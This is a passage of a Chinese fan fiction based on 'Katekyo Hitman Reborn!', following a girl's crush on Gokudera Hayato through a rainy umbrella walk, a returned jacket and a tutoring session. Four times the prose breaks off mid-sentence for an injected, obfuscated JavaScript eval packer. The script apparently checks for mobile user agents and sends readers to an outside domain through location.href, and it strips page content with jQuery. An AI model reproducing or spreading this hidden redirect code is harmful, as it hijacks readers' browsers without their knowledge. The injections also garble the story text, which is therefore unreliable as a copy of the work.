他感到烦躁,又不知道怎么回答她,于是赌气般陷入沉默,也不去看她,盯着一旁被雨水打得湿润的植株发呆。 祢祢看着他潮湿的侧脸和抿紧的唇,犹豫问:“那你回家?” ……?她要赶他出去淋雨?! 狱寺隼人浑身一僵,不可置信地扭头去看她,就看见祢祢转身捡起了地上的折叠伞,又走到他面前,将其向他面前递了递:“狱寺君拿着伞吧,请不要再让自己淋湿了。” “……那你呢?” “我?我没关系的,反正我又没有被淋湿——而且这种来得很凶的雨退得也会很快,我可以等雨停了再走。” “那我也可以等雨停再走。” “那伞怎么办?——狱寺君是要我自己先走吗?” “……” “你湿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14787471|155618||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 透了。”她强调,“会生病。” “……只有你才这么脆弱。” 祢祢:“狱寺君是笨蛋么?” “?!你这家伙在说什么?!” “因为只有笨蛋才不会生病。” “……” “不好笑吗?” “……哪里好笑?!” “狱寺君是笨蛋。” “不准再说那句话!” “……” 空气陷入沉寂,叫狱寺隼人觉得很不舒服,觉得还不如自己直接离开得了。 ……就算淋雨也没关系,回家洗个澡就好了,他又不会真的像她说的那样,因为淋点雨就生病……可又觉得如果现在直接离开像是落荒而逃,很没面子。 “那我送狱寺君回家吧!”祢祢拍手道。 “……不需要!” “如果狱寺君不回家的话,我就和你一起待在这儿等雨停好了——我可没有狱寺君那么坚强,说不定会因为雨天潮湿的空气而生病呢——对了,我和狱寺君第一次见面那次,就是因为吃了冰淇淋生病所以请了假,所以狱寺君自我介绍的时候我不在呢。” “……好弱。” “对呢,我就是很弱呢。”她毫不羞愧地点头认下,“所以狱寺君还是乖乖让我送你回家吧,不然待会天黑会更冷的——我一定会生病的!” “……” “我生病的话就不能去学校了,见不到我,阿纲一定会担心的。” “……好吧。” 祢祢觉得自己这个觉得很棒,她已经和暗恋对象进行到撑同一把伞的程度了! “狱寺君……” “干什么?” 他没好气道,脸看上去有些红——不会真的是要生病了吧? “你身上又湿又凉,贴着我有些不太舒服。” “……那你别贴我那么近不就好了!!” “伞很小,再远点会淋到雨。” “……那你要我怎么办?”他有些不耐烦的样子。 “穿上外套吧,隔开就不会不舒服了。” “你可以自己穿,那样也算隔开。” “非要我说出来么,狱寺君?” “……说什么?” “我很担心狱寺君会生病。” “……你就不会生病了吗?!还是留着自己穿吧!如果你生病了的话、十代目一定会不高兴的!” 祢祢:“我是笨蛋,不会生病。” 狱寺隼人:“……” “我也不会生病。”他嘴硬。 “原来狱寺君也是笨蛋啊……但是狱寺君的脸好红啊,不会是在发烧吧?” “?我才没有脸红!!” “好了,狱寺君,请不要再撒娇了。”祢祢手下施力,推着他向路旁商铺的檐下走:“请穿上外套吧。” “?我没有在撒娇!!” 他恼怒道,脸上的红似乎更严重了,祢祢对此很忧心,于是略显强硬地扯着他的手腕给他穿上外套,抬手去探他的额头,被对方触电般避开,只好悻悻放弃,转而拂了拂他潮湿的发尾。 狱寺隼人平时总是翘起的发尾被淋湿后蔫哒哒垂着,和所有湿透的头发触感都没多大区别,凉、湿、滑,被碰了下就跟猫尾巴似的躲开,反应比刚刚还要大。祢祢想是因为碰到了脖子的缘故,毕竟要害是要更敏感一些。 她装作若无其事的样子:“穿好了……走吧?不然天黑了说不定会有雨夜幽灵之类的,我好怕哦。” “嗯……” 26.衣服和伞 狱寺隼人觉得见崎祢祢刚开始说的关于外套的话说不定是假的。 因为这外套上分明是她的味道,浓郁而强烈,像是陷入了一个密不透风的拥抱,狱寺隼人觉得就算自己现在直接侧身抱住她也不会再陷进更深刻的气息里了。 他撑着伞——没错,虽然见崎祢祢说的是她要送他回家,但伞竟然是他在撑!她哪来的这么大脸面!连十代目都没有要求他为他撑过伞!! ……可他现在又不能直接丢伞不干。先不提这伞是不是他的,就说这外面还在下的雨,伞丢掉肯定又要被淋透,那个脆弱的家伙,说不定会因此生病。 ……真是麻烦。 如果不是因为十代目,他才不会顾及这么多。 但一旁那家伙即使享受了如此殊荣也依旧没有丝毫感激与受宠若惊,反而不是很老实,扭头看看这边又看看那边。披散着的头发隔着外套蹭过他的肩膀与手臂,很痒,但又不能躲,只好压抑着避开的欲望保持原状。狱寺隼人觉得自己那半边肩臂都因用力而发麻——啊,他还得控制着力度,不要不小心把那把没比那家伙坚强多少的伞弄坏。 ……简直叫人难以忍受! 如果不是为了十代目,他绝对会把她从伞里踹出去的!绝对! “喂……”他忍无可忍偏头看她,“你到底在看什么啊?!” “在看狱寺君呀。”那家伙用理所当然的语气说。 “……” 撒谎。 她明明没有一直在看他,只有极偶尔的时候会抬头——只有那个角度,在她这个位置是可以看清他的。 但狱寺隼人没有把这个说出口,因为这种话听上去似乎带有歧义,而他对这家伙完全没有那方面的想法,还是不要因此有误会才好——但她为什么不想想自己说出的话是不是有歧义,就这样说出口了?她对其他人也是这样?真是轻浮的家伙,十代目怎么会跟她交朋友! ……那作为十代目的左右手,他应该有替他矫正她坏毛病的职责吧?他应该直接说出来让她不许再对别人说这样轻浮的话。 但狱寺隼人抿了抿唇,居然什么都没能说出来。 ……如果这个毛病这么久都没有被订正的话,说不定其他人觉得这没什么大不了,她本人也如此认为,刚刚也只是他多想了。 如果是这样的话,擅自提出来说不定会显得很突兀。所以还是不要说了。 ……他什么时候变得这么优柔寡断了? “只是觉得狱寺君穿这件外套还蛮好看的啦。” 一旁的祢祢显然不知道他想了多少,脚步轻快,发丝像小狗般隔着薄薄一层外衣欢快地蹭着他的手臂。痒得叫人难以忍受。 狱寺隼人简直想伸手将她推出去——但不行。 “……这种颜色哪里好看了?”他的声音听上去很差,像是在压着火气。祢祢忍不住抬头去看他。 他浸过水的眉眼依旧带着湿气,银发潮湿半干,颜色比往常要深,和浸在冷调天色里显得比往常更白的肤色很有反差,于是脸上的红晕就更加刺眼了。祢祢觉得他肯定是要生病了,脾气突然暴躁也肯定是因为这个,毕竟人在生病的时候总是更感性脆弱…… 嘶,感性脆弱……狱寺隼人吗?他应该是更暴躁易燃才对——说得好像炸.弹。 不过那个外套他穿着还真的不难看——不如说好看的人穿什么都不会太难看才对。 祢祢喜欢穿宽松的款式,宽松的款式可以减少束缚感,更舒适轻盈,所以美佐纪为她选买衣饰的时候也是买宽松的款式更多,尤其是外套,过个两三年再穿也是绝对能穿下的。 所以这件外套狱寺隼人其实穿着刚刚好。 这个过分少女心的浅粉色居然也莫名称他。 萌萌的,很好看。 而且这种喜欢的人穿着自己衣服的感觉实在是不要太好。一想到他身上会沾上自己的气息、像是被打上了标记据为所有物那样,祢祢就觉得很安心、很幸福。 所以恋人之间喜欢贴近彼此、还有所谓的‘男友外套’风俗都是因为这个吗?她还以为那只是一种单纯表达亲近的方法呢,说不定其中也有想让对方染上自己味道的私心在。 “但是狱寺君穿这个就是很好看啦。” 她脑内一边不着边际的想,一边愉悦地回话说。 “……” 狱寺隼人又不说话了。 祢祢又侧头去看他,看见他泛红的脸和紧抿的唇,在见她抬头看他后又下意识瞪她。 祢祢顿时感觉很羞愧。 明明狱寺君都已经难受成这样的,还穿着湿掉的衣服,她却只想着风花雪月,一点也没注意他的身体状态,实在是太不应该了。 于是,她看了看四周的景色,发觉很是熟悉,软声问:“狱寺君的家也在这个方向吗?好巧啊。” “……不是。” 不知道是不是错觉或者光线原因,狱寺隼人的脸色好像更不好了,“这是你家,我住的地方要往那个路口走。” “诶?”祢祢有些错愕地发出一个音节,“……为什么?明明是我说要送狱寺君你回家的。” “……我用不着你送。”他说,将她向前推了一把,“进去吧。” “……伞明天再换你。”他臭着脸补充说。 “哦、哦,好。” 祢祢愣愣点头,站在房檐下看着他走远。 雨现在已经小了好多,细细连绵像是一场破晓时的雾。这样想来,那天边被乌云半遮的将死的日也像是初晨的朝阳了。 那件浅粉的外衣即使是隔着‘雾’也很是扎眼。 不知道是不是错觉,总觉得他在拐角的时候回头看了一眼。 ……果然是错觉吧。 你以为是什么小学生作文大全吗?《爱在拐角处》? 祢祢被自己逗笑了,无奈的摇摇头,内心感慨陷入恋爱的青春期少女真是无药可救,一边推门进了屋。 屋里没开灯,借着厨房门缝里透的光和窗外还算清晰的昏沉天色,祢祢看见美佐纪爬在沙发上,深色的眼珠直勾勾盯着她,语气幽怨,像是恐怖片里女鬼: “见崎祢祢,那个用你的伞送你回家、还穿了你外套的男人是谁?” 祢祢:“……” 好奇怪的语气,像是抓出轨丈夫的怨妇,不确定,再看看。 · 今日天色因昨日的雨不甚明晰,温度也降了不少,想来已经开始降温了,之后的温度只会越来越低。 “狱寺君,找我是有什么事吗?” 楼梯缓台上,祢祢余光瞟到他手上的袋子,挑了挑眉,但依旧明知故问道。 “衣服……” 狱寺隼人看上去很是不耐烦的模样,将手中的袋子往她面前递,“还有伞——谢了。” 他说完就想要离开,祢祢自然不乐意,赶在他动作前开口问。 “洗 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14790658|155618||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 过了吗?” “……当然洗了,在你眼里我那么没有礼貌的人?” “但是狱寺君一直自称黑手党诶。” “……黑手党不会做这么逊的事。” “哦……是狱寺君亲自洗的吗?” 她漫不经心地找话题拖延时间,想要跟他多待一会儿,视线流连在他身上。 ——被牢固的推到指根的金属指环,吹干后重新翘起来的、猫尾巴一样的发尾。都很完美。祢祢都很喜欢。 湿漉漉的狱寺隼人很漂亮,干燥整洁的狱寺隼人也很漂亮。 “……” 狱寺隼人陷入了沉默。 祢祢眨了眨眼,想起刚刚的问题,打量他的视线也随之一顿,有些惊讶又愣怔地抬头望他,看见少年白皙的耳根红了一片。 果然是在发烧吗……? 她有些出神的想。 即使生病了也要来学校,果然是好学生呢。 “狱寺君生病了吗?”她问,“我有带药,你需要吗?” “……” 他撇过头去,语气生硬:“不需要。” 这下祢祢也不知道怎么继续跟他把话题进行下去了。 “……我走了。”狱寺隼人像是忍受不了跟她待在同一个空间似的又想要离开。 “——等等!” 祢祢连忙握住他的手指,少年温热的肌肤和微凉的金属指环同时被她攥住。祢祢被截然相反的温度激了一下,指尖颤了颤,像是轻轻勾了勾他的手心。 狱寺隼人反应很大的想要甩开她,但意外的没用多大力气,祢祢居然很轻易的就将他压制住了,虚张声势般,像是他炸不死人的小爆竹。 但明明是他自己没有用全力,却露出了被她震惊到的样子,那眼神仿佛在说“你这家伙居然在演我表现得那么脆弱实际上恐怖如斯”,把祢祢那点本来就为数不多的不高兴给消磨没了,甚至还有点想笑。 但现在笑出来未免有些不合时宜,于是她竭力压制,然后更加用力的攥住他的手,抿了抿唇:“我要检查一下狱寺君有没有把我的东西弄坏。” 她补充:“伞,还有那件外套……是我最喜欢的一件。” ……什么破借口啊,你在说什么啊见崎祢祢!? 简直梦回给云雀恭弥送花时的“感谢您让我在您的地盘进食”!会不会被觉得很小心眼?可不可以撤回啊!! 祢祢一边内心哀嚎,一边硬着头皮从纸袋里取出自己的外套和伞。 外套很干净,被叠得很正确,伞也被收得很正确,还专门用小袋子单独分开,很是用心。 ……这些是狱寺隼人做的? 她有些想象不出来他做这些事的样子,忍不住抬头讶异地看了他一眼,又一眼。 然后被狱寺隼人回瞪了一眼又顿时老实下来。 她的手心好像还残余着他的体温,此刻抖开被叠好的外套,漫不经心地打量。 好像有点香……? 她怔了怔,忍不住低头去嗅。 “!!!” 狱寺隼人反应超大,抬手去捉她的手腕:“你在干什么?!” 她动作微顿,用很是茫然无辜的模样回望他,理所当然般开口:“好像有狱寺君的味道,我想凑近些闻。” 狱寺隼人立刻炸毛,恼羞成怒道:“你别污蔑人!我对这件外套根本什么都没有做!!” 祢祢:“……嗯?” 27.逻辑 虽然经过雨天那几件事,狱寺隼人和祢祢的关系却似乎并没有改善。 他依旧像是很不喜欢她的样子,甚至似乎比起之前更加讨厌她了。连发现她在看他的时候都不屑于去回瞪,而是直接扭头避开对视,像是不想看见她一样。 祢祢感觉很委屈,根本不知道自己到底哪里又被他讨厌了。 她开始回想自己和他的相处,但越想越觉得狱寺隼人不应该讨厌自己,明明那些事在galgeme里都是该升好感的举动才对…… 或许现实和游戏里的差别还是很大的。 不,应该是非常大才对,她什么时候把现实和游戏给混淆了?都怪近日频发的非日常事件! 祢祢又开始思考现实中的人是怎么拉进关系的。 然后发现人与人之间的交际实在是太过复杂玄妙,有的时候甚至可以说是莫名其妙,根本无迹可寻。 她仔细回想了下,发觉自己和朋友们熟悉起来都是顺其自然,根本不需要思考如何推动,是自然而然的事情。尤其是山本武,就是上面那个‘莫名其妙’的关联组,根本不知道怎么回事,就成为了朋友。 ……这真是太糟糕。 她根本没有足够的经验去接近狱寺隼人。 ……所以她的恋爱之路是注定这么坎坷对吗? 如果每个人与人交往的时候都可以像小说游戏里那样确定一个重要节点就好了。 就比如他们在什么时候认识、在什么时候成为朋友、在什么时候建立恋爱关系,又在什么时候结束关系…… 祢祢顿了顿,发现自己和某个人的关系还真的可以用以上公式划归。 ——是沢田纲吉。 虽然他们只是朋友关系——不,他们可不是普通的朋友关系,他们可是挚友! 总之,她和沢田纲吉的关系,似乎和小说漫画里那样,可以确认重要节点。 比如,她进入并盛中学的第一天,是和沢田纲吉的初遇——只是第一次见面,没有交换姓名和说话,甚至连长相都没有看清,这不能算认识,就只能算得上‘第一次见面’罢了。 第一次家政课,把蛋糕送给了他,交换了名字,这才算是正式认识了——虽然好像并不是很正式的样子。 成为朋友的节点,和正式认识拉得很近。大概是给沢田纲吉送过蛋糕的当天下午,他们就成为了朋友。 ——祢祢发现有人在偷看自己。 这没什么值得大惊小怪的,她有作为天才美少女的自觉,被人喜欢和欣赏是无法避免的,就算换了个环境也是这样。 她那时正陷于对云雀恭弥的恋爱漩涡,对这个并没有兴趣——哦,她那时候才刚来没几天,还没交到朋友,对云雀恭弥相关也不甚了解。 这让她有些烦躁。 所以打算去看看这个在看自己的家伙是谁。 是上午那个畏畏缩缩的棕发男孩,好像是叫……沢田纲吉? 那家伙在和她对上眼后很夸张地浑身僵直,发出一声小声的惊呼,然后猛然垂下脑袋……不如说是猛然将脑袋砸进桌子才对。 ——然后就因为动静太大被老师点了名,周围的学生随之发出压抑不住的嘲笑,有几个男生甚至恶意而戏弄地起哄,喊他‘废柴纲’。 被喊了难听外号男孩瘦弱的脊背颤了颤,耳朵涨得通红,然后就没有其他反应了,像是已经习惯了。 祢祢恍然大悟:原来这家伙在班里并不受待见啊。 所以他看她的原因是她在上午的家政课送了蛋糕给他吗?他在之前可能也没有收到过别人送的蛋糕,所以是想要和她交朋友吗? 于是,下课后,祢祢走到他的课桌前。 “你一直在看我。” 她单刀直入。 “噫!!” 那家伙又发出一声惊呼,很是受宠若惊的模样,然后又惊恐地发出结结巴巴的声音:“你、你你听我解释……” 一双大眼睛湿漉漉地蒙着水光,怪惹人怜爱的。 “是想和我交朋友吗?”她问。 “嗯……嗯?”他愣住了,“朋、朋友……?” 祢祢疑惑:“你看我难道不是想和我交朋友?那是还有其他什么事情找我吗?” “没有!” 他突然大声,然后又恢复成原先那怯懦软弱的模样,声音小下来,结巴道:“我是、是想要,和你成为……朋、朋友……” 声音越来越小,最后几个音节几乎是被含在嘴里不知道该不该讲出来般胆怯。 祢祢满意地笑了:“那我们现在就是朋友了——那,你给我讲讲云雀恭弥和风纪委员会的事吧!” “——诶?!” · “你当时和我交朋友绝对就是想找个人打探消息吧!绝对!” 后来,沢田纲吉将他们的“友谊缔结仪式”拿出来吐槽了不止一次,连所谓的“友谊缔结仪式”这个名字都被吐槽了好几次。 “怎么可以这样说呢。”祢祢不赞同道:“班上这么多人,我为什么独独找阿纲你呢?这是因为阿纲是最特殊的那个啊!我们有成为朋友的缘分!” “……” 沢田纲吉露出动容的神情,脸好像有些红——啊,很快就红透了呢,是在害羞。 然后他很快就又反应过来:“你明明是看我好拿捏吧!!” ——啊,居然猜出来了。 不知道为什么,沢田纲吉这家伙在吐槽的时候脑子会转得比平时快呢。 不过也不单单是因为这个,而是他那时表情实在是太可怜了,可怜到可爱的地步了,真的特别惹人怜爱。 祢祢没有把这句讲出来,怕沢田纲吉知道她吃这一套后会恃宠而骄,变得更喜欢朝她撒娇。 ……不过这件事对她接近狱寺隼人好像并没什么帮助。 难道要她装可怜让他心软吗? ……听上去就特别不靠谱,而且他根本就不会看她! 祢祢的恋情又一次陷入了僵局。 不过祢祢觉得这个并不要紧,她又没有绑定什么在规定时间内没攻略狱寺隼人就要被抹杀的系统,也没有得什么余命半年的绝症,有大把时间用来恋爱,来日方长嘛。 沢田纲吉的考试只得了20分。 祢祢拍了拍他的肩,安慰:“已经很好了呢,这次远超平均分——17.5分了呢。” 沢田纲吉:“……并没有被安慰到。” 山本武也考的很差,祢祢于是提出待会儿到沢田家补习,刚巧她也有些想念奈奈阿姨的做的点心了。 ……重点是后一句吧。 纲吉少年再一次发出 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14822634|155618||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 精准吐槽。 ——如果他将吐槽的头脑用在学习上就好了,这样他一定不会成为平均成绩只有17.5分废柴纲。 “……这种话在心里想想就好了!请不要说出来啊!!” “啊,说出来了吗?我以为我是在心里想的。” “……” “还差的远呢,蠢纲。” 很熟悉的声音,稚嫩,清脆,柔软,很可爱——祢祢认出那是Reborn的。 但环视四周,却并没有看见熟悉的黑西装小婴儿。 “在这里哦。” 腿旁的盆栽突然抬高了一截,又转了个身,祢祢终于看见他软乎乎带着婴儿肥的脸颊。脑袋顶着茂盛的盆栽枝叶,身体被棕色的树皮包裹着,唯一露出的脸蛋圆润雪白,眼珠与眉毛又色泽乌黑,黑白分明,煞是水灵可爱。 祢祢觉得自己被萌到了。但一旁的沢田纲吉却被吓了一跳,惊呼着后退了两步然后差点摔倒,被祢祢抬手下意识扶了一下,然后也被带得向后趔趄了一下,最后被山本武揽着肩膀掰了回来。 她若有所思地低头看了下手:“感觉阿纲的力气好像变大了不少——是这几天裸.奔练出来的吗?” “……” 就这一会儿功夫,Reborn已经将自己身上的伪装除下来了,身上依旧是黑西装大礼帽黄奶嘴绿蜥蜴——祢祢知道它叫列恩,然后抬手照旧很有礼貌的打了声招呼:“ciao。” 祢祢有些惊奇的打量他:“身上居然一点也没脏诶!明明刚才被埋在土里好一会呢——这也是你的魔术吗?真的不可以教我吗?” “不可以。” Reborn很有礼貌的拒绝了她,并表示这是他作为杀手的看家本领,不可以外传。 一旁的沢田纲吉的表情抽搐,倒是山本武脸上是跟祢祢如出一辙的饶有兴趣的模样,估计又是将这个当成游戏的一环了。 祢祢甚至将自己第二杀手的‘身份’搬出来佯装严肃地请求拜师求艺——她本来是自此第一的,但后来被Reborn听到聊了两句,知道这是Reborn先选择的名号,于是选择屈居第二。然后被Reborn评价为“毫无杀手天赋”。 “啊——” 她捂心痛呼着后退两步,一副很是受伤的样子,还差点被石头绊倒,又被山本武揽住肩膀扶了一把。 “……”虽然因此却了点气势,但祢祢还是坚持将那句台词喊了出来,华丽的结束了这次表演:“三十年河东!三十年河西!莫欺少年穷!!” “……” 四周安静了一瞬。 Reborn扭头问:“现在的年轻人都是这样吗?” 沢田纲吉:“不、怎么可能!” 等闹剧结束,Reborn才又开口:“另外,我还叫了狱寺。” 祢祢离开来了精神,扭头打量四周。 沢田纲吉:“……你在找什么?” 祢祢头也不回,理所当然道:“狱寺君啊。” Reborn疑惑:“你为什么觉得他会现在出现?” 祢祢也很疑惑:“按逻辑,他现在不是应该像是被召唤一样突然跳出来吗?” “……这是哪里来的逻辑?” “动漫。”她诚实道。 “……” 28.校服 沢田宅—— 山本武低头看了会儿课本,然后在纸上刷刷写出了答案。“好厉害!”得到了一旁祢祢和沢田纲吉的一致赞叹。 沢田纲吉扭头无语地看了她一眼:为什么考满分的学霸要对着不及格的人说这种话啊! 山本武闻言则爽朗地摸了摸脑袋,表示看了教科书后再做其实还蛮简单的。 一旁的狱寺隼人不服气地夺过他的作业,迅速地扫视,然后露出了可爱的惊讶表情:“居、居然全对……” 祢祢赞同地点了点头:“阿武还是很聪明的,只要认真的就会。” 山本武:“哪有祢祢说的那么厉害啊,第七题我就完全没看懂。” 狱寺隼人立刻发出猖狂的嘲笑,并且试图得到沢田纲吉的赞同,沢田纲吉则难绷地表示自己大半的题都看不懂。 狱寺隼人呆了呆,然后又迅速挂上尊敬的笑容,替他解围说这时候要迅速做出第七题用来展现十代目的威武。 祢祢不知道为什么黑手党首领的威武为什么要通过做题来展现。 ……难道‘彭格列’其实是一个自习小组?这样也就可以理解为什么第一杀手Reborn要自称家庭教师,而学霸狱寺隼人会加入这个很中二的黑手党游戏了。 ……但自习小组的‘首领’为什么会是沢田纲吉这个平均成绩17.5的废柴呢? 还有那个‘十代目’,这个自习小组有过这么多任组长吗?还是说这个是虚构的,只是因为这个称呼很威风?还是拥有悠久历史的组织听上去要更厉害?——不论怎么想都好中二哦。 所以阿纲果然是看jump看傻了吧! 而一旁的沢田纲吉则拿起试卷慢吞吞念了一遍题目,然后又大喊着“完全看不懂”将试卷放下。 祢祢看着他那副痛苦不堪的表情,感到有些不忍,去拿他手上的试卷,“阿纲就是笨笨的……让我来教教你吧!”然后低头重新扫了一遍题目……嗯,又扫了一遍……再一遍…… 她尴尬地放下了试卷:“我不会……” 话音猛然顿住——祢祢意识到这其实不是最重要的——她看向狱寺隼人。 ……一定会被嘲笑的吧? 对上她祈求般的目光,狱寺隼人下意识的扭开了头,动作幅度有些大,沢田纲吉和山本武顺势朝他投以注目。狱寺隼人装作刚刚的失态没有发生过,低声骂了句“笨蛋”。 声音并不大,带着含糊不清的鼻音,像是含在嘴里舍不得吐出来。有一种模糊又青涩的暧昧。 房间里突然陷入一阵微妙的沉默,空气稠滞缓慢,祢祢觉得有些难以忍受,刚想找借口出去避避,就听到了门把手拧动的机关声。 她扭头,看见一个深棕色头发的女生端着果汁和果盘出现在他们面前。她穿着制服,年纪看上去跟他们差不多,虽然用奇特的方式系着头巾,但依旧能看出其面容清丽可人。 祢祢觉得她身上那股娇憨劲特别吸引人。 她看了看对方高高扎起的头发,思绪立刻从狱寺隼人身上跑开,不自觉勾了勾自己垂在胸前的发尾,觉得这个发型特别棒,元气又活泼。然后又想了想自己扎高马尾的样子,于是武断地决定等休息日的时候去理发店把头发剪短一些——她有好些年都没换过发型了呢。 那个女生好像和沢田纲吉认识,而且印象还不太好,口口声声说着他会带坏Reborn。 祢祢想了想,觉得她可能是见过沢田纲吉使用特异功能——‘裸奔无敌’——的样子。因为他那样的确挺变态的。但他们只是在玩黑手党游戏而已呀。 祢祢开始思考怎么替沢田纲吉狡辩、不,辩解。 ——‘虽然他喜欢裸奔还穿弱智的星星裤衩但他其实是好男孩,不会带坏Reborn的’?听上去就很怪很不可信啊! 他都是喜欢裸奔的变态男了,怎么可能是正经人——祢祢都已经想到对方可能会怎么反驳了。 山本武的话打断了她的思绪:“阿纲,你认识绿中的学生啊?” 祢祢这才认真打量对方身上的制服款式,记起绿中是所很难考的女子中学。 ——刚回到日本商议转学事宜的时候,绿女子中学也在她的选择范围内,一同在此的还有并盛中学和黑曜中学。 不过那时的祢祢正对美佐纪和贤太郎闪婚的事耿耿于怀暗自闹别扭,根本没心情认真去选。 但贤太郎见此以为她不喜欢并盛附近的学校,于是又开始讲其他学校,从音驹讲到PK,又从冰帝讲到樱兰。然后又开始絮絮叨叨问她是不是想回池袋,那边的学校也不错,毕业以后可以上来神…… ……这都哪儿跟哪儿了!而且她没记错的话樱兰是贵族学院吧?如果她现在还姓绫濑的话大概会被安排到那里去……英德和帝光也有可能。 不过现在可不是那种情况。话说这么远以后上学岂不是要起很早?秋夏还行,冬天那不要人命了?但如果不起早的话岂不是要当住宿生?不要啊! 于是祢祢打断他,并迅速做出了选择——而被选中的幸运儿,当然就是我们并中了。 选它的原因也很简单。她现在住的地方就叫并盛町,而并中……听名字就知道它肯定在并盛町,而并盛町又不大,上学会很方便——好吧,其实是因为她根本没怎么记名,只记得有一个跟地名一样 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14823410|155618||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了。 祢祢后来也因此后悔过。 最后悔的一次是在自动贩卖机买水的时候碰到黑曜美少女的时候。 深绿色的制服,腰和裙摆都不长,那女孩行动间偶尔会露出一截纤细而雪白的腰,修长白皙的腿被长靴包裹,交界处皮革与皮肤黑白分明到近乎有些刺眼。她的视线不自觉顺着流畅悦目的线条滚上去,在看见大腿中部垂落的裙摆时还感到了一丝微妙的失落感。 ……这种危险的情绪到底是怎么产生的?! 就算人家再好看也不可以这样吧?!你对得起云雀前辈吗!! 那时还在喜欢云雀恭弥的祢祢在内心唾弃自己。 好像是察觉到她过于炽热的视线,那女孩扭过头来,一双水晶一样的紫色眼睛带着些不安与疑惑,警惕地看向她,同样是紫调的深色头发在身后划出一道轻盈又优美的弧度,发丝蝴蝶般轻蹭过她看上去很柔软的耳颊。 对上那女孩探究的神色,祢祢这才意识到自己刚刚的行为很像是觊觎美少女的痴汉,连忙有些惊慌地后退了两步,摆着手,结结巴巴地张嘴解释自己没有恶意——现在回想起来,祢祢觉得自己那时简直像是被沢田纲吉附了身似的。 像是被她那副略显滑稽的举动取悦了般,她轻轻勾了勾唇但又很快压下,抿了抿唇,朝她投以歉意的目光。 祢祢突然觉得自己的脸有些发烫。 啊!他们的校服这么好看的吗……真的好白、不,是真的好好看啊,看着手感就特别好,一定是软乎乎香喷喷的吧…… 祢祢想,如果在开学前叫她见到黑曜的制服的话,她一定不会去并中的。 等她回过神的时候,自称“三浦春”的绿中少女已经在狱寺隼人的挑衅下认下跳战,并和沢田纲吉打赌如果做出来他就不能和Reborn有牵扯,然后表情认真地看起那道艰难的试题来了。 祢祢偷偷打量她,觉得绿中的制服和并中的一样很中庸,看着着实平平无奇。 还是黑曜的制服最好看,黑曜的名字也好听,听着很酷。 ……不过并中也没有那么糟糕,毕竟这里有她的朋友和喜欢的人。 当然,她对自己有信心,朋友在哪里她都能交到,喜欢的人的话……她又不是换个地方就变成不懂爱为何物的呆瓜了,在不同的环境喜欢上不同的人是理所当然的。 但她还是更喜欢并中——会不会是被云雀恭弥传染了? 她的脑子里第一个冒出的居然是这个想法。 ……可恶!! 明明是因为她很喜欢自己的朋友才对!都怪云雀恭弥那家伙的爱校人设太过深入人心了!! 29.甜品 沢田纲吉好像走桃花运了。 那天的题目辗转多人手中,最后被Reborn的兄弟包林做出来了。 沢田纲吉:“……” 你为什么会得出这样的结论呢? 话说他们家是盛产天才小婴儿吗?本来以为Reborn那么小一点就能掌握这么多词汇量已经是很厉害的了,但没想到他的兄弟包林居然是‘能将号称没有答案的问题悉数解决’的天才数学家。 ——真是太厉害啦! 沢田纲吉的裸奔技能还有有用的,救了不知道为什么‘盛装打扮’还不慎落水的三浦春少女——上学路上路过石桥的祢祢看到的就是这样一副画面。 看见沢田纲吉白花花的身体已经不会再让她有任何情绪波动了——她唯一的期望就是他能多锻炼一下,让自己的身材更美观一些,现在这样多多少少还是有些有碍观瞻。 ……虽然他的特异功能的发动条件很变态,但毕竟是朋友啊,不然还能怎么办,绝交吗?因为这种小事?还不值当。 狱寺隼人和山本武都没有因为这点疏远他,她身为挚友又怎么可能做出这么残忍的事呢? 就在她打算下去将自己多带的外套给他时——没错,因为沢田纲吉的爆衣次数太多,祢祢已经逐渐养成了这种习惯。 希望沢田纲吉本人也可以养成这样的好习惯,控制一下自己爆衣的场合和时机吧。等入了冬再来这么几下岂不是要玩球? ——虽说都传‘笨蛋不会生病’,但我们都知道那个只是玩笑话,就算是笨蛋,该生病的时候也会生病,所以笨蛋也应该保护好自己才行。 